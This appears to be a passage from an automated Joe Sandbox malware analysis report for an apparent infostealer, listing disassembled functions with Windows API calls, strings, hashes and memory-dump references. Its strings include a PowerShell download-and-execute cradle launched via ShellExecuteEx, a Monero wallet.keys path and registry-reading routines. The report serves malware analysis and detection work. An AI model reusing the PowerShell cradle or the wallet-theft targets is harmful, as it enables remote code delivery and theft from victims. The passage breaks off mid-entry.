Instruction Fuzzy Hash: 8C313874E00209EFDB24CF95D985BEE77B8FF48310F108158E915A7290D778A981DFA0

Function 00FC4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00DEE028), ref: 00FC47DB

Part of subcall function 00FC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FC8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FC4801
lstrcat.KERNEL32(?,?), ref: 00FC4820
lstrcat.KERNEL32(?,?), ref: 00FC4834
lstrcat.KERNEL32(?,00DDAAD0), ref: 00FC4847
lstrcat.KERNEL32(?,?), ref: 00FC485B
lstrcat.KERNEL32(?,00DECDF0), ref: 00FC486F

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FC8D90: GetFileAttributesA.KERNEL32(00000000,?,00FB1B54,?,?,00FD564C,?,?,00FD0E1F), ref: 00FC8D9F

Part of subcall function 00FC4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00FC4580
Part of subcall function 00FC4570: RtlAllocateHeap.NTDLL(00000000), ref: 00FC4587
Part of subcall function 00FC4570: wsprintfA.USER32 ref: 00FC45A6
Part of subcall function 00FC4570: FindFirstFileA.KERNEL32(?,?), ref: 00FC45BD

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 8ccbb2d8bc453ae06a491ae7e70d234e8717f10a234968b7cde7f9928335610b
Instruction ID: 392d0424c6bce28536623997a32818de49cf7719c1bd493ef9d0674759ebb8e1
Opcode Fuzzy Hash: 8ccbb2d8bc453ae06a491ae7e70d234e8717f10a234968b7cde7f9928335610b
Instruction Fuzzy Hash: 993162B690021857CB24F7A0DC86FE97378AF48700F40459DB31996081EEB8A6C99B95

Function 00FC2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

ShellExecuteEx.SHELL32(0000003C), ref: 00FC2D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00FC2CC4
<, xrefs: 00FC2D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00FC2D04
')", xrefs: 00FC2CB3

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 7a15d8216b0de56d73d5b2bebbf0024ae6be9926345dcf1122c117e22b5cb2cb
Instruction ID: 5e1e31676f812e5342e52b0100bfb55643f9d54a64d1cb1e9c842e00c58fd3a9
Opcode Fuzzy Hash: 7a15d8216b0de56d73d5b2bebbf0024ae6be9926345dcf1122c117e22b5cb2cb
Instruction Fuzzy Hash: 3341B97181020D9BDB18EBA0DD97FEDB774AF10304F40411DE016AA1D1EF786A4AEF96

Function 00FB9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00FB9F41

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00FB9E67
v20, xrefs: 00FB9E21
@, xrefs: 00FB9EF1
v10, xrefs: 00FB9EA3

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 9e9c89b0d39fc7c55a802db065c0cd8cc8e9ecba9643cbc4b2c4da7167764cab
Instruction ID: c7dbb96839b949bbe04420bec4aad3aae57b3271fbcd26912b7bd2e5f756aa73
Opcode Fuzzy Hash: 9e9c89b0d39fc7c55a802db065c0cd8cc8e9ecba9643cbc4b2c4da7167764cab
Instruction Fuzzy Hash: 1A614C71A0020CABDB24EFA5CD96FED7775BF44344F048118F90A5B281EB786A05EF52

Function 00FC40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00DECE30,00000000,00020119,?), ref: 00FC40F4
RegQueryValueExA.ADVAPI32(?,00DEE328,00000000,00000000,00000000,000000FF), ref: 00FC4118
RegCloseKey.ADVAPI32(?), ref: 00FC4122
lstrcat.KERNEL32(?,00000000), ref: 00FC4147
lstrcat.KERNEL32(?,00DEE220), ref: 00FC415B

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 2cd82810e82c479980ea2231c776630473e7ff67576512994c63e66879f8f152
Instruction ID: 89ddc70a09cffd65d42c840033be18a837175423143535cb83d7445ffda984d5
Opcode Fuzzy Hash: 2cd82810e82c479980ea2231c776630473e7ff67576512994c63e66879f8f152
Instruction Fuzzy Hash: BF41EAB6D001086BDB28EBA0EC57FED373CBB48340F44455CB62957185EA795BC88BE1

Function 00FC6920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00FC696C
sscanf.NTDLL ref: 00FC6999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00FC69B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00FC69C0
ExitProcess.KERNEL32 ref: 00FC69DA

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: b08c64b4e23dcdb9214faf6ae1e26ff99f84427d8fe895844db4b5e745dcf543
Instruction ID: 0013c20cde79ceeb0cf974ae05ffa057f2f4fda2db9d2775cac92aff22e90b31
Opcode Fuzzy Hash: b08c64b4e23dcdb9214faf6ae1e26ff99f84427d8fe895844db4b5e745dcf543
Instruction Fuzzy Hash: 2821EC75D04209ABCF08EFE4E946AEEB7B5BF48300F04852EE41AE3244EB346605CB65

Function 00FC7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00FC7E3E
RegOpenKeyExA.ADVAPI32(80000002,00DDC0D0,00000000,00020119,?), ref: 00FC7E5E
RegQueryValueExA.ADVAPI32(?,00DECE70,00000000,00000000,000000FF,000000FF), ref: 00FC7E7F
RegCloseKey.ADVAPI32(?), ref: 00FC7E92

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 00e2401850bc0e8040b3d468d97a50b1ee6d93b4fe506bfa3eb9ee0c1e250efe
Instruction ID: 9b4c309deb7cde7a862176b624cd069f7200f2a458e0296b3ed85c8889163707
Opcode Fuzzy Hash: 00e2401850bc0e8040b3d468d97a50b1ee6d93b4fe506bfa3eb9ee0c1e250efe
Instruction Fuzzy Hash: 251191B2A44205EBD714DF94E94AF7FBBB8EB44711F10422DF61AA7284D77858009FA0

Function 00FC9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00DEE058,?,?,?,00FC140C,?,00DEE058,00000000), ref: 00FC926C
lstrcpyn.KERNEL32(011FAB88,00DEE058,00DEE058,?,00FC140C,?,00DEE058), ref: 00FC9290
lstrlen.KERNEL32(?,?,00FC140C,?,00DEE058), ref: 00FC92A7
wsprintfA.USER32 ref: 00FC92C7

Strings

%s%s, xrefs: 00FC92B5

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 1f2d713b0105dea11d874a2b9abbde0cbbde1ce96a7a26cb27052cefe3a54edc
Instruction ID: 22ce5e7699ce556979e955153785c421e72d44140cc0869293c44fd52a201396
Opcode Fuzzy Hash: 1f2d713b0105dea11d874a2b9abbde0cbbde1ce96a7a26cb27052cefe3a54edc
Instruction Fuzzy Hash: D401E975500108FFCB08DFE8D988EAE7BB9EF44350F10854CF90D97204C675AA41DB90

Function 00FB12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FB12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00FB12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00FB12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00FB12F5
RegCloseKey.ADVAPI32(?), ref: 00FB12FF

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 9ebac140fa1e4e1b5d9a7617492cb2ab80855aebfd3d8c1521332f8dda39bcc8
Instruction ID: 5f1f182d3099c857601fbd94634889fa4a076a77d579c8c53897f02e0a68323b
Opcode Fuzzy Hash: 9ebac140fa1e4e1b5d9a7617492cb2ab80855aebfd3d8c1521332f8dda39bcc8
Instruction Fuzzy Hash: 3A0136B9A40208BFDB14DFD0E849FAEB7B8EF48701F008159FA1997284D675AA418F50

Function 00FCC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00FCC8EC
___crtLCMapStringA.LIBCMT ref: 00FCC90C
___crtLCMapStringA.LIBCMT ref: 00FCC931

Strings

, xrefs: 00FCC896

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 72c6dc89013b166e89886936ebd614f1b352a5b3a42776681a4e8cada7c0963b
Instruction ID: 23b3795d9406d53db5b4ad3b4845ea83d6736969016aa3f1d4cbbdf62cc6896f
Opcode Fuzzy Hash: 72c6dc89013b166e89886936ebd614f1b352a5b3a42776681a4e8cada7c0963b
Instruction Fuzzy Hash: 8D41E5B150079D5EDB218B248E86FFBBBE89B45704F1444ECE98E86182D2719A45EFA0

Function 00FC6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00FC6663

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00DE8DF8,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

ShellExecuteEx.SHELL32(0000003C), ref: 00FC6726
ExitProcess.KERNEL32 ref: 00FC6755

Strings

<, xrefs: 00FC66D9

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: e750acf5ad003f382054451ae9ebdbcdc71b811f41550c9f67278f567ddafef0
Instruction ID: 42cba3e3a9a002c234a48443144b782b92c4bcde464dff908591c50b4ec652ce
Opcode Fuzzy Hash: e750acf5ad003f382054451ae9ebdbcdc71b811f41550c9f67278f567ddafef0
Instruction Fuzzy Hash: 9D3127B1801219ABDB18EB90DD96FDEB778AF04304F40419CF21A67191DF787A89CF69

Function 00FC87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00FD0E28,00000000,?), ref: 00FC882F
RtlAllocateHeap.NTDLL(00000000), ref: 00FC8836
wsprintfA.USER32 ref: 00FC8850

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Strings

%dx%d, xrefs: 00FC8847

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
